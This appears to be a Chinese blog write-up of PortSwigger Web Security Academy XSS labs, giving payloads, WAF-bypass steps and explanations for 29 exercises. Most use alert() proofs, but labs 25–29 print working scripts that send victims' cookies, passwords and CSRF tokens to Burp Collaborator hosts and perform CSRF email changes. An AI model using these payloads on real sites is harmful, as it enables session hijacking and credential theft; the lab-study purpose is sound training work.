freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

PortSwigger之XSS实验笔记
2021-09-23 00:19:26

声明

本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,我不承担任何法律及连带责任。

01 Reflected XSS into HTML context with nothing encoded

描述

本实验包含搜索功能中一个简单的反射跨站点脚本漏洞。

要解决实验室问题,请执行调用该alert函数的跨站点脚本攻击。

解决

1.将以下内容复制并粘贴到搜索框中:<script>alert(1)</script>

2.点击“搜索”。

02 Reflected XSS into HTML context with most tags and attributes blocked

描述

本实验室在搜索功能中包含一个反射性XSS漏洞,但使用 Web 应用程序防火墙 (WAF) 来防御常见的 XSS 向量。

要解决实验室问题,请执行绕过 WAF 并调用该函数的跨站点脚本攻击print()

解决

1.注入一个标准的 XSS 向量,例如:<img src=1 onerror=print()>

2.观察这会被阻止。在接下来的几个步骤中,我们将使用 Burp Intruder 来测试哪些标签和属性被阻止。image-20210920095035177

3.使用您的浏览器通过 Burp Suite 代理流量,使用实验室中的搜索功能。将结果请求发送到 Burp Intruder。

4.在 Burp Intruder 中,在 Positions 选项卡中,单击“Clear §”。将搜索词的值替换为:<>

5.将光标放在尖括号之间,然后单击“add §”两次,以创建有效载荷位置。搜索词的值现在应如下所示:<§§>image-20210920095311901

6.访问XSS 备忘单并单击“Copy tags to clipboard”。

7.在 Burp Intruder 的 Payloads 选项卡中,单击“Paste”将标签列表粘贴到有效负载列表中。点击“start attack”。image-20210920095429184

8.攻击完成后,查看结果。请注意,所有负载都会导致 HTTP 400 响应,但bodycustom tags负载除外,它会导致 200 响应。image-20210920095556780

9.返回 Burp Intruder 中的 Positions 选项卡并将搜索词替换为:<body%20=1>

10.将光标放在=字符之前,然后单击“添加 §”两次,以创建有效载荷位置。搜索词的值现在应如下所示:<body%20§§=1>image-20210920095709756

11.访问XSS 备忘单并单击“Copy events to clipboard”。

12.在 Burp Intruder 中,在 Payloads 选项卡中,单击“Clear”以删除以前的 Payload。然后单击“paste”将属性列表粘贴到有效负载列表中。点击“start attack”。image-20210920095814257

13.攻击完成后,查看结果。请注意,所有负载都会导致 HTTP 400 响应,但onresize负载除外,它会导致 200 响应。image-20210920095843599

14.转到Go to exploit server并粘贴以下代码,替换your-lab-id为您的实验室 ID:

<iframe src="https://ac0d1fee1ec166d6805b1c81003c00ac.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>

15.单击“store”和“Deliver exploit to victim”。image-20210920100049572

image-20210920100102264

点击view exploit可以看到print效果image-20210920100150044

03 Reflected XSS into HTML context with all tags blocked except custom ones

描述

此实验室阻止除自定义标记之外的所有 HTML 标记。

要解决实验室问题,请执行跨站点脚本攻击,注入自定义标记并自动发出警报document.cookie

解决

1.转到go to exploit server并粘贴以下代码,替换your-lab-id为您的实验室 ID:

<script>
location = 'https://your-lab-id.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>

此注入创建一个带有 ID 的自定义标记x,其中包含onfocus触发该alert函数的事件处理程序。页面加载后,URL 末尾的哈希值会立即关注此元素,从而alert调用有效负载。

2.单击“store”和“Deliver exploit to victim”。image-20210920102719614

image-20210920102741055

04 Reflected XSS with event handlers and href attributes blocked

描述

该实验室包含一个带有一些白名单标签的反射型 XSS漏洞,但所有事件和锚点href属性都被阻止。

要解决该实验室问题,请执行跨站点脚本攻击,该攻击会注入一个向量,单击该向量时会调用该alert函数。

请注意,您需要用“Click”一词来标记您的矢量,以诱导模拟实验室用户点击您的矢量。例如:<a href="">Click me</a>

解决

https://your-lab-id.web-security-academy.net/?search=<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>
直接访问以下url
https://your-lab-id.web-security-academy.net/?search=%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E

image-20210920104352184

image-20210920104226122

05 Reflected XSS with some SVG markup allowed

描述

本实验室有一个简单的反射型 XSS漏洞。该站点阻止了常见标签,但遗漏了一些 SVG 标签和事件。

要解决实验室问题,请执行调用该函数的跨站点脚本攻击alert()

解决

1.注入标准的 XSS 负载,例如:<img src=1 onerror=alert(1)>

2.观察此有效负载被阻止。在接下来的几个步骤中,我们将使用 Burp Intruder 来测试哪些标签和属性被阻止。image-20210920105245420

3.使用您的浏览器通过 Burp Suite 代理流量,使用实验室中的搜索功能。将结果请求发送到 Burp Intruder。

4.在 Burp Intruder 中,在 Positions 选项卡中,单击“Clear §”。

5.在请求模板中,将搜索词的值替换为:<>

6.将光标放在尖括号之间,然后单击“添加 §”两次以创建有效载荷位置。搜索词的值现在应该是:<§§>image-20210920105415105

7.访问XSS 备忘单并单击“Copy tags to clipboard”。

8.在 Burp Intruder 的 Payloads 选项卡中,单击“Paste”将标签列表粘贴到有效负载列表中。点击“start attack”。image-20210920105549100

9.攻击完成后,查看结果。观察到所有的有效载荷造成的HTTP响应400,除了使用的那些<svg><animatetransform><title>,和<image>标签,其接收到的200响应。image-20210920111151080

10.返回 Burp Intruder 中的 Positions 选项卡并将搜索词替换为:<svg><animatetransform%20=1>

11.将光标放在=字符之前,然后单击“add §”两次以创建有效载荷位置。搜索词的值现在应该是:<svg><animatetransform%20§§=1>image-20210920111250184

12.访问XSS 备忘单并单击“Copy events to clipboard”。

13.在 Burp Intruder 中,在 Payloads 选项卡中,单击“Clear”以删除以前的 Payload。然后单击“paste”将属性列表粘贴到有效负载列表中。点击"start attack"。image-20210920111445983

14.攻击完成后,查看结果。请注意,所有负载都会导致 HTTP 400 响应,但onbegin负载除外,它会导致 200 响应。image-20210920111530650

https://your-lab-id.web-security-academy.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E

image-20210920111718302

06 Reflected XSS into attribute with angle brackets HTML-encoded

描述

此实验室包含搜索博客功能中反映的跨站点脚本漏洞,其中尖括号是 HTML 编码的。要解决此实验,请执行跨站点脚本攻击,注入属性并调用alert函数。

解决

1.在搜索框中提交一个随机的字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。

2.观察随机字符串已反映在带引号的属性中。image-20210920115032553

3.将您的输入替换为以下有效负载以转义引用的属性并注入事件处理程序:"onmouseover="alert(1)

当您将鼠标移到注入的元素上时,它应该会触发警报。image-20210920115142205

07 Stored XSS into anchor href attribute with double quotes HTML-encoded

描述

该实验室在评论功能中包含一个存储的跨站点脚本漏洞。要解决此实验,请提交一条评论,alert该评论在单击评论作者姓名时调用该函数。

解决

1.发表带有随机字母数字字符串的评论,然后使用 Burp Suite 拦截请求并将其发送到 Burp Repeater。

2.在浏览器中发出第二个请求查看帖子并使用 Burp Suite 拦截请求并将其发送到 Burp Repeater。

3.观察到第二个中继器选项卡中的随机字符串已反映在锚href属性中。image-20210920123639194

image-20210920123727871

4.再次重复该过程,但这次将您的输入website替换为以下有效负载以注入一个调用警报的 JavaScript URL:javascript:alert(1)image-20210920124117640

5.通过右键单击、选择“Show response in browser”并将 URL 粘贴到浏览器中来验证该技术是否有效。单击评论上方的名称应该会触发警报。image-20210920124150713

image-20210920124159481

08 Reflected XSS in canonical link tag

描述

此实验室在规范链接标签中反映用户输入并转义尖括号。

要解决实验室问题,请在主页上执行跨站点脚本攻击,注入调用该alert函数的属性。

为了协助您的利用,您可以假设模拟用户将按下以下组合键:

  • ALT+SHIFT+X

  • CTRL+ALT+X

  • Alt+X

请注意,本实验的预期解决方案只能在 Chrome 中使用。

解决

1.访问以下 URL,替换your-lab-id为您的实验室 ID:

https://your-lab-id.web-security-academy.net/?%27accesskey=%27x%27onclick=%27alert(1)

这会将X密钥设置为整个页面的访问密钥。当用户按下访问键时,该alert函数被调用。

2.要在自己身上触发漏洞利用,请按以下组合键之一:

在 Windows 上:ALT+SHIFT+X

在 MacOS 上:CTRL+ALT+X

在 Linux 上:Alt+X

image-20210920124423768

09 Reflected XSS into a JavaScript string with single quote and backslash escaped

描述

该实验室在搜索查询跟踪功能中包含一个反映的跨站点脚本漏洞。反射发生在带有单引号和反斜杠转义的 JavaScript 字符串中。

要解决此实验,请执行跨站点脚本攻击,该攻击会跳出 JavaScript 字符串并调用该alert函数。

解决

1.在搜索框中提交一个随机的字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。

2.观察随机字符串已反映在 JavaScript 字符串中。image-20210920125218456

3.尝试发送有效负载test'payload并观察您的单引号是否被反斜杠转义,从而防止您脱离字符串。image-20210920125147436

4.将您的输入替换为以下有效负载以跳出脚本块并注入新脚本:

</script><script>alert(1)</script>

5.通过右键单击、选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。当您加载页面时,它应该触发警报。image-20210920125317769

10 Reflected XSS into a JavaScript string with angle brackets HTML encoded

描述

此实验室包含在对尖括号进行编码的搜索查询跟踪功能中反映的跨站点脚本漏洞。反射发生在 JavaScript 字符串内。要解决此实验,请执行跨站点脚本攻击,该攻击会跳出 JavaScript 字符串并调用该alert函数。

解决

尖括号被编码,使用标签内的payload触发xss

1.在搜索框中提交一个随机的字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。

2.观察随机字符串已反映在 JavaScript 字符串中。image-20210920125528656

3.将您的输入替换为以下有效负载以跳出 JavaScript 字符串并注入警报:'-alert(1)-'

4.通过右键单击、选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。当您加载页面时,它应该触发警报。image-20210920125618822

11 Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

描述

此实验室包含搜索查询跟踪功能中反映的跨站点脚本漏洞,其中尖括号和双引号是 HTML 编码的,单引号被转义。

要解决此实验,请执行跨站点脚本攻击,该攻击会跳出 JavaScript 字符串并调用该alert函数。

解决

1.在搜索框中提交一个随机的字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。

2.观察随机字符串已反映在 JavaScript 字符串中。image-20210920130244592

3.尝试发送有效负载test'payload并观察您的单引号是否被反斜杠转义,从而防止您脱离字符串。image-20210920130334682

4.尝试发送有效负载test\payload并观察您的反斜杠没有被转义。image-20210920130403973

5.将您的输入替换为以下有效负载以跳出 JavaScript 字符串并注入警报:\'-alert(1)//

6.通过右键单击、选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。当您加载页面时,它应该触发警报。image-20210920130137740

12 Reflected XSS in a JavaScript URL with some characters blocked

描述

该实验室在 JavaScript URL 中反映了您的输入,但并非所有内容都如此。这最初似乎是一个微不足道的挑战;但是,该应用程序正在阻止某些字符以防止XSS攻击。

要解决该实验室问题,请执行跨站点脚本攻击,该攻击alert使用消息1337中某处包含的字符串调用函数alert

解决

访问以下 URL,替换your-lab-id为您的实验室 ID:

https://your-lab-id.web-security-academy.net/post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27

实验室将得到解决,但只有在您单击页面底部的“返回博客”时才会调用警报。

该漏洞利用异常处理来调用alert带参数的函数。使用该throw语句,以空白注释分隔,以绕过无空格限制。该alert函数被分配给onerror异常处理程序。

作为throw语句,它不能用作表达式。相反,我们需要使用箭头函数来创建一个块,以便throw可以使用该语句。然后我们需要调用这个函数,所以我们将它分配给 的toString属性window并通过在 上强制进行字符串转换来触发它windowimage-20210920130959772

13 Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

描述

该实验室在评论功能中包含一个存储的跨站点脚本漏洞。

要解决此实验,请提交一条评论,alert该评论在单击评论作者姓名时调用该函数。

解决

1.在“网站”输入中发表带有随机字母数字字符串的评论,然后使用 Burp Suite 拦截请求并将其发送到 Burp Repeater。

2.在浏览器中发出第二个请求查看帖子并使用 Burp Suite 拦截请求并将其发送到 Burp Repeater。

3.观察到第二个中继器选项卡中的随机字符串已反映在onclick事件处理程序属性中。image-20210920135950670

4.再次重复该过程,但这次修改您的输入以注入一个调用 的 JavaScript URLalert,使用以下有效负载:

http://foo?&apos;-alert(1)-&apos;

image-20210920141034198

5.通过右键单击、选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。单击评论上方的名称应该会触发警报。image-20210920141123769

14 Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

描述

此实验室包含搜索博客功能中反映的跨站点脚本漏洞。反射发生在带有尖括号、单引号和双引号 HTML 编码以及反引号转义的模板字符串内。为了解决这个实验,执行跨站点脚本攻击,调用alert模板字符串中的函数。

解决

1.在搜索框中提交一个随机的字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。

2.观察随机字符串已反映在 JavaScript 模板字符串中。image-20210920141627515

3.将您的输入替换为以下有效负载以在模板字符串中执行 JavaScript:${alert(1)}

4.通过右键单击、选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。当您加载页面时,它应该触发警报。image-20210920141736283

15 Reflected XSS with AngularJS sandbox escape without strings

描述

本实验以一种不寻常的方式使用AngularJS,其中该$eval函数不可用,您将无法在 AngularJS 中使用任何字符串。

为了解决实验室,执行跨站点脚本攻击,逃脱沙箱并在alert不使用函数的情况下执行$eval函数。

解决

访问以下 URL,替换your-lab-id为您的实验室 ID:

https://your-lab-id.web-security-academy.net/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

该漏洞利用用于toString()在不使用引号的情况下创建字符串。然后它获取String原型并覆盖charAt每个字符串的函数。这有效地打破了 AngularJS 沙箱。接下来,一个数组被传递给orderBy过滤器。然后我们再次使用toString()创建字符串和String构造函数属性来设置过滤器的参数。最后,我们使用该fromCharCode方法通过将字符代码转换为字符串来生成我们的有效负载x=alert(1)。由于该charAt函数已被覆盖,AngularJS 将允许此代码,而通常情况下不会。

ASCII转10进制网站https://www.mokuge.com/tool/asciito16/image-20210920142315543

image-20210920142439136

16 Reflected XSS with AngularJS sandbox escape and CSP

描述

本实验使用CSP和AngularJS。

要解决实验室问题,请执行跨站点脚本攻击,绕过 CSP、逃离 AngularJS 沙箱并发出警报document.cookie

解决

1.转到漏洞利用服务器并粘贴以下代码,替换your-lab-id为您的实验室 ID:

<script>
location='https://your-lab-id.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>

2.单击“store”和“Deliver exploit to victim”。image-20210920143239301

该漏洞利用ng-focusAngularJS 中的事件来创建绕过 CSP 的焦点事件。它还使用$event,这是一个引用事件对象的 AngularJS 变量。该path属性特定于 Chrome,包含触发事件的元素数组。数组中的最后一个元素包含window对象。

通常,|在 JavaScript 中是按位或操作,但在 AngularJS 中它表示过滤器操作,在这种情况下是orderBy过滤器。冒号表示发送到过滤器的参数。在参数中,我们不是alert直接调用函数,而是将其分配给变量z。只有当orderBy操作到达数组中的window对象时才会调用该函数$event.path。这意味着它可以在窗口范围内调用,而无需显式引用window对象,有效地绕过 AngularJS 的window检查。

17 Stored XSS into HTML context with nothing encoded

描述

该实验室在评论功能中包含一个存储的跨站点脚本漏洞。

要解决此实验,请提交在alert查看博客文章时调用该函数的评论。

解决

1.在评论框中输入以下内容:<script>alert(1)</script>

2.输入姓名、电子邮件和网站。

3.点击“发表评论”。

4.回到博客。

18 DOM XSS in document.write sink using source location.search

描述

该实验室在搜索查询跟踪功能中包含一个基于 DOM 的跨站点脚本漏洞。它使用 JavaScriptdocument.write函数将数据写入页面。document.write使用来自 的数据调用该函数location.search,您可以使用网站 URL 控制该数据。

要解决此实验,请执行调用该函数的跨站点脚本攻击alert

解决

1.在搜索框中输入随机字母数字字符串。

2.右键单击并检查元素,并观察您的随机字符串已放置在img src属性中。image-20210920150821476

3.img`通过搜索 打破属性:

"><svg onload=alert(1)>

image-20210922101426782

19 DOM XSS in document.write sink using source location.search inside a select element

描述

该实验室在股票检查器功能中包含一个基于 DOM 的跨站点脚本漏洞。它使用 JavaScriptdocument.write函数将数据写入页面。该document.write函数是用数据调用的location.search,您可以使用网站 URL 控制这些数据。数据包含在 select 元素中。

要解决此实验,请执行跨站点脚本攻击,该攻击会跳出 select 元素并调用该alert函数。

解决

1.在产品页面上,请注意危险的 JavaScriptstoreIdlocation.search源中提取参数。然后,它document.write用于在选择元素中为股票检查器功能创建一个新选项。

2.storeId向 URL 添加查询参数并输入随机字母数字字符串作为其值。请求此修改后的 URL

3.在您的浏览器中,请注意您的随机字符串现在被列为下拉列表中的选项之一。

4.右键单击并检查下拉列表以确认您的storeId参数值已放置在选择元素中。image-20210922103357612

5.更改 URL 以在参数中包含合适的XSS负载storeId,如下所示:

product?productId=1&storeId="></select><img%20src=1%20onerror=alert(1)>

image-20210922103538747

20 DOM XSS in innerHTML sink using source location.search

描述

该实验室在搜索博客功能中包含一个基于 DOM 的跨站点脚本漏洞。它使用一个innerHTML赋值,它div使用来自location.search.

要解决此实验,请执行调用该函数的跨站点脚本攻击alert

解决

1.在搜索框中输入以下内容:<img src=1 onerror=alert(1)>

2.点击“搜索”。

src属性的值无效并引发错误。这会触发onerror事件处理程序,然后调用该alert()函数。因此,只要用户的浏览器尝试加载包含您的恶意帖子的页面,就会执行有效负载。image-20210922103824841

21 DOM XSS in jQuery anchor href attribute sink using location.search source

描述

该实验室在提交反馈页面中包含一个基于 DOM 的跨站点脚本漏洞。它使用 jQuery 库的$选择器函数来查找锚元素,并href使用来自location.search.

要解决此实验,请发出“返回”链接警报document.cookie

解决

1.在提交反馈页面上,将查询参数更改returnPath/后跟随机字母数字字符串。

2.右键单击并检查元素,并观察您的随机字符串已放置在 ahref属性中。image-20210922104229976

3.更改returnPathjavascript:alert(document.cookie),然后按 Enter 键并单击“back”。image-20210922104454949

22 DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

描述

该实验室在搜索功能中的AngularJS表达式中包含一个基于 DOM 的跨站点脚本漏洞。

AngularJS 是一个流行的 JavaScript 库,它扫描包含ng-app属性(也称为 AngularJS 指令)的 HTML 节点的内容。将指令添加到 HTML 代码后,您可以在双花括号内执行 JavaScript 表达式。在对尖括号进行编码时,此技术很有用。

要解决此实验,请执行跨站点脚本攻击,该攻击会执行 AngularJS 表达式并调用该alert函数。

解决

1.在搜索框中输入随机字母数字字符串。

2.查看页面源代码并观察您的随机字符串是否包含在ng-app指令中。image-20210922105453008

image-20210922105316569

3.在搜索框中输入以下 AngularJS 表达式:{{$on.constructor('alert(1)')()}}点击搜索解决实验

23 Reflected DOM XSS

描述

本实验演示了一个反射 DOM 漏洞。当服务器端应用程序处理来自请求的数据并在响应中回显数据时,就会出现反射 DOM 漏洞。然后页面上的脚本以不安全的方式处理反射数据,最终将其写入危险的接收器。

为了解决这个实验,创建一个调用alert()函数的注入。

解决

1.在 Burp Suite 中,转到代理工具并确保打开了拦截功能。

2.回到实验室,转到目标网站并使用搜索栏搜索随机测试字符串,例如."aaa"

3.返回 Burp Suite 中的代理工具并转发请求。

4.在 Intercept 选项卡上,请注意该字符串反映在名为 的 JSON 响应中search-resultsimage-20210922150025987

5.从站点地图中,打开searchResults.js文件并注意 JSON 响应与eval()函数调用一起使用。

6.通过尝试不同的搜索字符串,您可以确定 JSON 响应正在转义引号。但是,反斜杠没有被转义。image-20210922151209878

7.要解决此实验,请输入以下搜索词:\"-alert(1)}//image-20210922151249518

image-20210922151341672

由于您已注入反斜杠并且站点并未转义它们,因此当 JSON 响应尝试转义开头的双引号字符时,它会添加第二个反斜杠。由此产生的双反斜杠导致转义被有效地取消。这意味着双引号被处理为未转义,这会关闭应包含搜索词的字符串。

然后在alert()调用函数之前使用算术运算符(在这种情况下为减法运算符)来分隔表达式。最后,一个结束的大括号和两个正斜杠提前关闭 JSON 对象并注释掉对象的其余部分。结果,生成的响应如下:

{
"searchTerm":"\\"-alert(1)
}//", "results":[]
}

24 Stored DOM XSS

描述

本实验演示了博客评论功能中的存储 DOM 漏洞。为解决本实验,利用该漏洞调用alert()函数。

解决

发表包含以下向量的评论:

<><img src=1 onerror=alert(1)>

image-20210922152019524

为了防止XSS,该网站使用 JavaScriptreplace()函数对尖括号进行编码。但是,当第一个参数是字符串时,该函数仅替换第一次出现。我们通过在注释的开头简单地包含一组额外的尖括号来利用此漏洞。这些尖括号将被编码,但任何后续尖括号将不受影响,使我们能够有效地绕过过滤器并注入 HTML。

25 Exploiting cross-site scripting to steal cookies

描述

本实验包含博客评论功能中的存储型 XSS漏洞。一个模拟的受害者用户在发布后查看所有评论。为解决实验室,利用该漏洞窃取受害者的会话cookie,然后使用该cookie来冒充受害者。

笔记

为了防止 Academy 平台被用来攻击第三方,我们的防火墙会阻止实验室与任意外部系统之间的交互。要解决实验室问题,您应该使用 Burp Collaborator 的默认公共服务器 (burpcollaborator.net)。

一些用户会注意到这个实验室有一个不需要 Burp Collaborator 的替代解决方案。然而,它远没有泄露 cookie 那么微妙。

解决

1.使用Burp Suite Professional,转到 Burp 菜单,然后启动Burp Collaborator 客户端。

2.单击“copy to clipboard”将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。

3.在博客评论中提交以下有效负载,修改自己的 Burp Collaborator 子域名: 此脚本将使查看评论的任何人发出 POST 请求以包含他们的 cookie。

<script>
fetch('https://hpa6243vr5zzt7mssk1brimneek48t.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

image-20210922152812453

4.返回 Burp Collaborator 客户端窗口,然后单击“Poll now”。您应该会看到 HTTP 交互。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。image-20210922153507292

5.记下 POST 正文中受害者 cookie 的值。

xMUXFw8F2zmoevs1HIAcggeMxx0vtp62

6.重新加载主博客页面,使用 Burp Proxy 或 Burp Repeater 将您自己的会话 cookie 替换为您在 Burp Collaborator 中捕获的会话 cookie。发送解决实验室的请求。为了证明您已经成功劫持了管理员用户的会话,您可以在请求中使用相同的 cookie/my-account来加载管理员用户的帐户页面。image-20210922153452827

替代方案

或者,您可以通过利用 XSS 执行 CSRF来调整攻击,使受害者在博客评论中发布他们的会话 cookie 。然而,这远没有那么微妙,因为它公开了 cookie,并且还公开了执行攻击的证据。

26 Exploiting cross-site scripting to capture passwords

描述

本实验包含博客评论功能中的存储型 XSS漏洞。一个模拟的受害者用户在发布后查看所有评论。为了破解实验室,利用该漏洞窃取受害者的用户名和密码,然后使用这些凭据登录受害者的帐户。

笔记

为了防止 Academy 平台被用来攻击第三方,我们的防火墙会阻止实验室与任意外部系统之间的交互。要解决实验室问题,您应该使用 Burp Collaborator 的默认公共服务器 (burpcollaborator.net)。

一些用户会注意到这个实验室有一个不需要 Burp Collaborator 的替代解决方案。然而,这远没有泄露凭据那么微妙。

解决

1.使用Burp Suite Professional,转到 Burp 菜单,然后启动Burp Collaborator 客户端。

2.单击“copy to clipboard”将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。

3.在博客评论中提交以下有效负载,在指示的地方插入您的 Burp Collaborator 子域: 此脚本将使查看评论的任何人发出包含其用户名和密码的 POST 请求。

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://2kngtbdda1yynmyq25zuyby0frlh96.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

image-20210922154159712

4.返回 Burp Collaborator 客户端窗口,然后单击“Poll now”。您应该会看到 HTTP 交互。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。image-20210922154225531

5.记下 POST 正文中受害者用户名和密码的值。

administrator:k7sdfwhozayb7yf7zmkz

6.使用凭据以受害者用户身份登录。image-20210922154312574

替代方案

或者,您可以通过利用 XSS 执行 CSRF来调整攻击,使受害者在博客评论中发布他们的凭据。然而,这远没有那么微妙,因为它公开了用户名和密码,并且还公开了执行攻击的证据。

27 Exploiting XSS to perform CSRF

描述

本实验包含博客评论功能中的存储型 XSS漏洞。为解决实验室问题,利用该漏洞进行CSRF攻击,更改查看博文评论的人的邮箱。

您可以使用以下凭据登录自己的帐户:wiener:peter

解决

1.使用提供的凭据登录。在您的用户帐户页面上,注意更新您的电子邮件地址的功能。

2.如果您查看页面的源代码,您将看到以下信息:

您需要向 发出 POST 请求/my-account/change-email,并带有一个名为 的参数email

在名为 的隐藏输入中有一个反 CSRF 令牌token

这意味着您的漏洞利用将需要加载用户帐户页面,提取CSRF 令牌,然后使用该令牌更改受害者的电子邮件地址。image-20210922160113755

3.在博客评论中提交以下有效负载: 这将使查看评论的任何人发出 POST 请求以将其电子邮件地址更改为。

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

image-20210922160241532

image-20210922160258312

28 Reflected XSS protected by CSP, with dangling markup attack

描述

本实验使用CSP来缓解XSS攻击。

为了解决这个实验,执行一个悬挂标记攻击,窃取CSRF 令牌并使用它来更改另一个用户的电子邮件地址。

您可以使用以下凭据登录自己的帐户:wiener:peter

解决

1.使用上面提供的帐户登录实验室。

2.检查“更新电子邮件”功能。观察参数中存在XSS漏洞email

3.转到 Burp 菜单并启动Burp Collaborator 客户端。

4.单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。

5.回到实验室,转到漏洞利用服务器并添加以下代码,替换your-lab-id为您的实验室 ID,并替换your-collaborator-id为您刚刚从 Burp Collaborator 复制的有效负载。

<script>
location='https://ac891fd31ea8ff3e8081b30d00ef001b.web-security-academy.net/my-account?email=%22%3E%3Ctable%20background=%27//tda5kll7487rpzkmw70o0sls5jbazz.burpcollaborator.net?';
</script>

6.单击“store”,然后单击“Deliver exploit to victim”。如果目标用户在登录实验室网站时访问包含此恶意脚本的网站,他们的浏览器将向您的恶意网站发送包含其CSRF 令牌的请求。然后你可以使用 Burp Collaborator 客户端窃取这个令牌。

7.返回 Burp Collaborator 客户端窗口,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到由应用程序启动的 HTTP 交互。选择 HTTP 交互,转到“request”选项卡,然后复制用户的 CSRF 令牌。

0S2Rx9hiR8FMvq7WOHKvANFcx6w3RkyK

image-20210922160922174

8.开启 Burp 的拦截功能后,回到实验室的更新邮件功能,提交更改邮件到任意随机地址的请求。

9.在 Burp 中,转到截获的请求并将 email 参数的值更改为hacker@evil-user.net

10.右键单击请求,然后从上下文菜单中选择“参与工具”,然后选择“生成 CSRF PoC”。弹出窗口显示请求和由它生成的 CSRF HTML。在请求中,将 CSRF 令牌替换为您之前从受害者那里窃取的令牌。

image-20210922161204418

11.单击“option”并确保“lnclude auto-submit script”已激活。

12.单击“Regenerate”更新 CSRF HTML,使其包含被盗令牌,然后单击“copy HTML”将其保存到剪贴板。image-20210922161249575

13.删除请求并关闭拦截功能。

14.返回漏洞利用服务器并将 CSRF HTML 粘贴到正文中。您可以覆盖我们之前输入的脚本。

image-20210922161323274

15.单击“store”和“Deliver exploit to victim”。用户的电子邮件将更改为hacker@evil-user.netimage-20210922161423186

29 Reflected XSS protected by very strict CSP, with dangling markup attack

描述

本实验使用严格的CSP来阻止对外部网站的传出请求。

为了解决实验室问题,执行跨站点脚本攻击,绕过 CSP 并使用 Burp Collaborator泄露CSRF 令牌。你需要用“点击”这个词来标记你的向量,以诱导模拟的受害者用户点击它。例如:<a href="">Click me</a>

您可以使用以下凭据登录自己的帐户:wiener:peter

解决

1.使用上面提供的帐户登录实验室。

2.检查更改电子邮件功能。观察参数中存在XSS漏洞email

3.转到 Burp 菜单并启动Burp Collaborator 客户端。

4.单击“copy to clipboard”将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。

5.回到实验室后,转到开发服务器,并添加如下代码,替换your-lab-idyour-exploit-server-id与您的实验室ID分别利用服务器ID,并取代your-collaborator-id与您刚刚从Burp 复制的有效载荷。

<script>
if(window.name) {
new Image().src='//xuva59b4n3z3os362jmz429roiu8ix.burpcollaborator.net?'+encodeURIComponent(window.name);
} else {
location = 'https://ace71fea1e7dbe30808814db00090076.web-security-academy.net/my-account?email=%22%3E%3Ca%20href=%22https://exploit-acea1f8c1e52bed8800e1480019700df.web-security-academy.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27';
}
</script>

6.单击“store”,然后单击“Deliver exploit to victim”。当用户访问包含此恶意脚本的网站时,如果他们在仍登录实验室网站的情况下单击“Click me”链接,则他们的浏览器将向您的恶意网站发送包含其CSRF 令牌的请求。然后你可以使用 Burp Collaborator 客户端窃取这个 CSRF 令牌。

7.返回 Burp Collaborator 客户端窗口,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到由应用程序启动的 HTTP 交互。选择 HTTP 交互,转到请求选项卡,然后复制用户的 CSRF 令牌。

4SplVeXvOXtKseOJ5v8tgArUxjj2IbBn

image-20210922162126075

8.打开 Burp 的拦截功能后,返回实验室的更改电子邮件功能并提交将电子邮件更改为任何随机地址的请求。

